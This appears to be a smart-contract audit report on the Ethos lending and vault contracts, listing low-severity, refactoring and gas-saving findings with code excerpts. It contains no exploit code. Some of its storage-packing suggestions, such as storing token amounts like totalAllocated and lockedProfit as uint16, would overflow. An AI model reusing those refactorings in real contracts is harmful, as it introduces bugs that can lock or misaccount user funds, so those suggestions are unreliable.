3.1. <a name='R:cannotbefront-run'></a>R: cannot be front-run

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/DefaultPool.sol#L90-L91

        IERC20(_collateral).safeIncreaseAllowance(activePool, _amount);

Increasing allowance is not different in this case

It could potentially not work with some collateral also, as you'd need to set approve(0) first

4. <a name='CollateralConfig'></a>CollateralConfig

4.1. <a name='L-Nocheckforcollateralexistence'></a>L - No check for collateral existence

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/CollateralConfig.sol#L90-L91

        Config storage config = collateralConfig[_collateral];

Checking for collateral existence is equivalent to an address(0) check, and can avoid mistakes

4.2. <a name='L-150CCRcanbeeithertoolowortoohigh'></a>L - 150% CCR can be either too low or too high

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/CollateralConfig.sol#L25-L26

    uint256 constant public MIN_ALLOWED_CCR = 1.5 ether; // 150%

Consider having custom values per collateral

4.3. <a name='R-Nocheckunique'></a>R - No check unique

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/CollateralConfig.sol#L53-L57

        require(_MCRs.length == _collaterals.length, "Array lengths must match");
        require(_CCRs.length == _collaterals.length, "Array lenghts must match");
        
        for(uint256 i = 0; i < _collaterals.length; i++) {
            address collateral = _collaterals[i];

The lack of validation allows to input the same collateral twice, causing unintended behavior

5. <a name='BorrowerOperations'></a>BorrowerOperations

5.1. <a name='R-Partiallynon-CEIconformant'></a>R - Partially non-CEI conformant

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/BorrowerOperations.sol#L231-L232

        IERC20(_collateral).safeTransferFrom(msg.sender, address(this), _collAmount);

Since all other calls are from a verified contract, but collateral is not, the code could be refactored to transfer collateral directly to the active pool, as the last operation as to reduce any potential risk.

5.2. <a name='R-Functioniscalledwithdrawbutitissuesnewtokens'></a>R - Function is called withdraw, but it issues new tokens

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/BorrowerOperations.sol#L235

_withdrawLUSD

Consider renaming it

5.3. <a name='R-CanXOR'></a>R - Can XOR

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/BorrowerOperations.sol#L296-L297

        _requireSingularCollChange(_collTopUp, _collWithdrawal);
        _requireNonZeroAdjustment(_collTopUp, _collWithdrawal, _LUSDChange);

For these two functions, instead of chaning || and having two functions, you could use a XOR to combine both.

6. <a name='ActivePool'></a>ActivePool

6.1. <a name='R-Usinghardcodedvalueinsteadofaconstant'></a>R - Using hardcoded value instead of a constant

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L258

10_000 could be turned into a MAX_BPS constant to improve refactoring and redability

6.2. <a name='R-Approveisfineasitcannotbefront-run'></a>R - Approve is fine as it cannot be front-run

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L279-L280

            IERC20(_collateral).safeIncreaseAllowance(yieldGenerator[_collateral], uint256(vars.netAssetMovement));

6.3. <a name='NC-Oldcommentaroundborrowingfee'></a>NC - Old comment around borrowing fee

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/BorrowerOperations.sol#L195-L196

        // ICR is based on the composite debt, i.e. the requested LUSD amount + LUSD borrowing fee + LUSD gas comp.

There's no borrowing fee, only gas compensation, consider deleting the comment

7. <a name='CommunityIssuance'></a>CommunityIssuance

7.1. <a name='L-Rightafterdeploymentthischeckwillbetrue'></a>L - Right after deployment this check will be true

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/LQTY/CommunityIssuance.sol#L86-L87

        if (lastIssuanceTimestamp < lastDistributionTime) {

Because lastIssuanceTimestamp will be 0

7.2. <a name='R-CEIConfirmity'></a>R - CEI Confirmity

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/LQTY/CommunityIssuance.sol#L103-L104

        OathToken.transferFrom(msg.sender, address(this), amount);

To conform to CEI, you could simply edit the function to perform the transfer at the end

7.3. <a name='NC-Commentslooksoutofplace'></a>NC - Comments looks out of place

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/LQTY/CommunityIssuance.sol#L23-L36

   /* The issuance factor F determines the curvature of the issuance curve.
    *
    * Minutes in one year: 60*24*365 = 525600
    *
    * For 50% of remaining tokens issued each year, with minutes as time units, we have:
    * 
    * F ** 525600 = 0.5
    * 
    * Re-arranging:
    * 
    * 525600 * ln(F) = ln(0.5)
    * F = 0.5 ** (1/525600)
    * F = 0.999998681227695000 
    */

This comment seems to be from liquity and should be deleted

7.4. <a name='NC-Capitalizationlooksoff'></a>NC - Capitalization looks off

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/LQTY/CommunityIssuance.sol#L37-L38

    IERC20 public OathToken;

Can change to: oathToken

8. <a name='PriceFeed'></a>Price Feed

### L - The Tellor fix requires constant monitoring

TellorCaller was modified to have a 20 minute delay on the value that is being recorded:

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/Dependencies/TellorCaller.sol#L44

        (bytes memory data, uint256 timestamp) = getDataBefore(_queryId, block.timestamp - 20 minutes);

This should prevent the attack detailed in this Liquity Disclosure, however, do note that you'll have to constantly monitor the correctness of the feed and be able to react within 20 minutes to avoid the same attack from happening.

Because the cost of the attack is fairly inexpensive ($15 I believe), monitoring, as well as setting up infrastructure to dispute the incorrect price will be crucial.

8.1. <a name='L-TheTellorpricemayleakvalue'></a>L - The Tellor price may leak value

Due to the 20 minute delay, the Tellor Price may end up offering too good of a redemption price during time in which the price tanks

It may also prevent liquidations from happening correctly as the delay will make it so that some positions which should be liquidatable will be so only after the extra delay.

8.2. <a name='L-TryCatchcanstillrevertduetocontractcheck'></a>L - Try Catch can still revert due to contract check

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/PriceFeed.sol#L617-L636

try priceAggregator[_collateral].getRoundData(_currentRoundId - 1) returns
        (
            uint80 roundId,
            int256 answer,
            uint256 /* startedAt */,
            uint256 timestamp,
            uint80 /* answeredInRound */
        )
        {
            // If call to Chainlink succeeds, return the response and success = true
            prevChainlinkResponse.roundId = roundId;
            prevChainlinkResponse.answer = answer;
            prevChainlinkResponse.timestamp = timestamp;
            prevChainlinkResponse.decimals = _currentDecimals;
            prevChainlinkResponse.success = true;
            return prevChainlinkResponse;
        } catch {
            // If call to Chainlink aggregator reverts, return a zero response with success = false
            return prevChainlinkResponse;
        }

If the aggregator doesn't exist, Solidity will still revert in-spite of the try/catch

8.3. <a name='L-Commentdifferentfromconstants'></a>L - Comment different from constants

The code will check for 5% deviation, but the comment refers to 3%

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/PriceFeed.sol#L53-L54

    uint constant public MAX_PRICE_DIFFERENCE_BETWEEN_ORACLES = 5e16; // 5%

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/PriceFeed.sol#L496-L497

        * Return true if the relative price difference is <= 3%: if so, we assume both oracles are probably reporting

LQTY Staking

9. <a name='NC-Gascapataround400collaterals'></a>NC - Gas cap at around 400 collaterals

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/LQTY/LQTYStaking.sol#L238-L248

    function _sendCollGainToUser(address[] memory assets, uint[] memory amounts) internal {
        uint numCollaterals = assets.length;
        for (uint i = 0; i < numCollaterals; i++) {
            if (amounts[i] != 0) {
                address collateral = assets[i];
                emit CollateralSent(msg.sender, collateral, amounts[i]);
                IERC20(collateral).safeTransfer(msg.sender, amounts[i]);
            }
        }
    }

The Sponsor mentioned a DOS, but ultimately the math will break at 400+ collaterals

Executive Summary

There's an abundant amount of opportunity for refactorings, the below report offers extremely high savings opportunity with minimal work by reducing SSTOREs and SLOADs

All benchmarks are approximations based on counting storage slots.

Savings for Core are in the tens of thousands

Savings for Vault are in the hundreds of thousands

Default Pool

Gas: Can be refactored to avoid giving allowance, and savings tens of thousands of gas - 20k+

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/DefaultPool.sol#L90-L91

        IERC20(_collateral).safeIncreaseAllowance(activePool, _amount);
        IActivePool(activePoolAddress).pullCollateralFromBorrowerOperationsOrDefaultPool(_collateral, _amount);

Can just transfer, saving 20k gas per instance

ActivePool

Pack generator, amount and treshold into one struct by using u16 - 4.2k per balance

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L246

By packing them into one struct you can save 4.2k per rebalance (2 cold SLOADs)

RedemptionHelper

Gas - By packing you can avoid doing 2 SLOADs and calls - 2.1k+

Also have a function "getConfig" or smth

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/RedemptionHelper.sol#L120-L121

        totals.collDecimals = collateralConfigCached.getCollateralDecimals(_collateral);
        totals.collMCR = collateralConfigCached.getCollateralMCR(_collateral);

Gas - Cache token lusdToken - 100 gas

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/RedemptionHelper.sol#L124-L128

        _requireLUSDBalanceCoversRedemption(lusdToken, _redeemer, _LUSDamount);

        totals.totalLUSDSupplyAtStart = getEntireSystemDebt(_collateral);
        // Confirm redeemer's balance is less than total LUSD supply
        assert(lusdToken.balanceOf(_redeemer) <= totals.totalLUSDSupplyAtStart);

Vault

Using smaller variables to save Storage Slots can save tens of thousands of gas - 8 Slots = 16.8k+ per read and 160k+ per store

ReaperVaultV2 could benefit by using smaller uints for most values

    uint256 public tvlCap;

    uint256 public totalAllocBPS; // Sum of allocBPS across all strategies (in BPS, <= 10k)
    uint256 public totalAllocated; // Amount of tokens that have been allocated to all strategies
    uint256 public lastReport; // block.timestamp of last report from any strategy

    uint256 public immutable constructionTime;
    bool public emergencyShutdown;

    // The token the vault accepts and looks to maximize.
    IERC20Metadata public immutable token;

    // Max slippage(loss) allowed when withdrawing, in BPS (0.01%)
    uint256 public withdrawMaxLoss = 1;
    uint256 public lockedProfitDegradation; // rate per block of degradation. DEGRADATION_COEFFICIENT is 100% per block
    uint256 public lockedProfit; // how much profit is locked and cant be withdrawn

Can be refactored to

    uint64 public tvlCap; // Multiply the cap by 10 ** decimals and save a ton of space

    uint16 public totalAllocBPS; // Sum of allocBPS across all strategies (in BPS, <= 10k)
    uint16 public totalAllocated; // Amount of tokens that have been allocated to all strategies

    uint40 public lastReport; // block.timestamp of last report from any strategy
    bool public emergencyShutdown;

    // Max slippage(loss) allowed when withdrawing, in BPS (0.01%)
    uint16 public withdrawMaxLoss = 1;
    uint16 public lockedProfitDegradation; // rate per block of degradation. DEGRADATION_COEFFICIENT is 100% per block
    uint16 public lockedProfit; // how much profit is locked and cant be withdrawn

Packing of Distribution Types - 2.1k

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/libraries/DistributionTypes.sol#L6-L12

    struct RewardsConfigInput {
        uint88 emissionPerSecond;
        uint256 totalSupply;
        uint32 distributionEnd;
        address asset;
        address reward;
    }

Can be refactored with no precision loss to:

    struct RewardsConfigInput {
        uint256 totalSupply;
        uint32 distributionEnd;
        address asset;
        address reward;
        uint88 emissionPerSecond;
    }

Which will save an additional storage slot

Packing on StrategyParams - 6.3k+

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L25-L33

    struct StrategyParams {
        uint256 activation; // Activation block.timestamp
        uint256 feeBPS; // Performance fee taken from profit, in BPS
        uint256 allocBPS; // Allocation in BPS of vault's total assets
        uint256 allocated; // Amount of capital allocated to this strategy
        uint256 gains; // Total returns that Strategy has realized for Vault
        uint256 losses; // Total losses that Strategy has realized for Vault
        uint256 lastReport; // block.timestamp of the last time a report occured
    }

Can be refactored with zero precision loss to:

    struct StrategyParams {
        uint40 activation; // Activation block.timestamp
        uint16 feeBPS; // Performance fee taken from profit, in BPS
        uint16 allocBPS; // Allocation in BPS of vault's total assets
        uint40 lastReport; // block.timestamp of the last time a report occured
        uint256 allocated; // Amount of capital allocated to this strategy
        uint256 gains; // Total returns that Strategy has realized for Vault
        uint256 losses; // Total losses that Strategy has realized for Vault
    }

Which would save 3 slots, saving 3 SSTOREs when setting the values as well as reporting

This could be further reduced by scaling allocated, gains and losses by using a multiplication factor such as 1e18, which will cause negligible precision loss at the advantage of saving one additional storage slot

Can use unchecked - 80

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperStrategyGranarySupplyOnly.sol#L81-L82

            uint256 toReinvest = wantBalance - _debt;

There are plenty of instances where the check before the operation ensures no overflow can happen, in those cases you can use unchecked and save around 50 / 80 gas